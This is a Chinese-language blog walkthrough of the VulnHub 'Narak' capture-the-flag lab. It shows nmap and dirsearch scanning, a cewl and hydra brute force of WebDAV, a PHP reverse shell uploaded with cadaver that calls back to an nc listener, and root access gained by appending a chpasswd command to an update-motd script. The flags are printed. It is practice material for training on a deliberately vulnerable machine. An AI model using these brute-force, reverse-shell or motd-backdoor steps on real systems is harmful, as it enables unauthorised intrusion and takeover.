VulnHub-Narak靶机渗透流程

发布时间 2023-05-28 21:48:40作者: Mar10

VulnHub-Narak

Description

Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

Objective: Find 2 flags (user.txt and root.txt)

探测靶机

nmap  192.168.157.0/24

路径扫描

点击网页底部的 Do Not Click

既然有/images/666.jpg?,那么就扫一下路径,得到 /webdav

webdav是一种基于 HTTP 1.1协议的通信协议

dirsearch -u 192.168.157.140 

定制字典

尝试访问后发现需要账户密码,用cewl工具爬取爆破字典

爬虫会根据指定的URL深度进行爬取,然后打印出可用于密码破解的字典

cewl http://192.168.157.140 -w dict.txt

爆破账户密码

尝试用hydra爆破

hydra -L dict.txt -P dict.txt 192.168.157.140 http-get /webdav

成功获取账户密码登入

上传shell

这里需要上传一个shell,使用工具 Cadaver

Cadaver是一个用来浏览和修改WebDAV共享的Linux、Unix命令行程序

可以利用 put 命令上传

cp /usr/share/webshells/php/php-reverse-shell.php .         #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php                                   #编辑这个文件,将ip改为kali的ip 端口改为kali的端口

先启用监听4444端口:

nc -lnvp 4444

我这里将文件名重命名为 shell.php

上传成功后,访问网站

www-data权限已经拿到。而且我们现在的用户是yamdoot

信息收集

执行python命令,使命令行变成交互式

python3 -c "import pty;pty.spawn('/bin/bash')"           #升级优化一下shell

这里是www-data用户

www-data用户没有su权限。www-data是Ubuntu中运行Web服务的默认用户,权限较低。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

命令解释:

从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写

如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null

在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码

解码得到 chitragupt ,猜测是某用户的密码,查看所有用户,依次尝试登录

inferno 用户登录成功,那么用ssh连接

motd提权

提权前,在此权限下也能得到第一个flag:Flag{5f95bf06ce19af69bfa5e53f797ce6e2}

这里可以使用 motd提权

motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header

退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令,接着只需要su到root用户即可提权成功

后续操作如下

inferno@ubuntu:~$ echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header
inferno@ubuntu:~$ exit
logout
Connection to 192.168.157.140 closed.
                                                                                    
┌──(kali㉿kali)-[~/桌面]
└─$ ssh inferno@192.168.157.140
inferno@192.168.157.140's password: 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun May 28 06:05:35 2023 from 192.168.157.131
inferno@ubuntu:~$ su root
Password: 
root@ubuntu:/home/inferno# whoami
root
root@ubuntu:/home/inferno# find / -name 'root.txt'
/root/root.txt
root@ubuntu:/home/inferno# cat /root/root.txt
██████████████████████████████████████████████████████████████████████████████████████████
█░░░░░░██████████░░░░░░█░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░█░░░░░░██░░░░░░░░█
█░░▄▀░░░░░░░░░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░▄▀▄▀▄▀▄▀▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░░░░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░████░░▄▀░░███░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█████░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░██░░░░░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░░░░░██████████░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░█
██████████████████████████████████████████████████████████████████████████████████████████
                           
                                                                                    
Root Flag: {9440aee508b6215995219c58c8ba4b45}

!! Congrats you have finished this task !!

Contact us here:

Hacking Articles : https://twitter.com/hackinarticles

Jeenali Kothari  : https://www.linkedin.com/in/jeenali-kothari/

+-+-+-+-+-+ +-+-+-+-+-+-+-+
 |E|n|j|o|y| |H|A|C|K|I|N|G|
 +-+-+-+-+-+ +-+-+-+-+-+-+-+
__________________________________

得到flag :Flag{9440aee508b6215995219c58c8ba4b45}

简单总结

学习了 cewl 、hydra 、Cadaver 工具的使用,初识 webdav ,很不错的入门靶机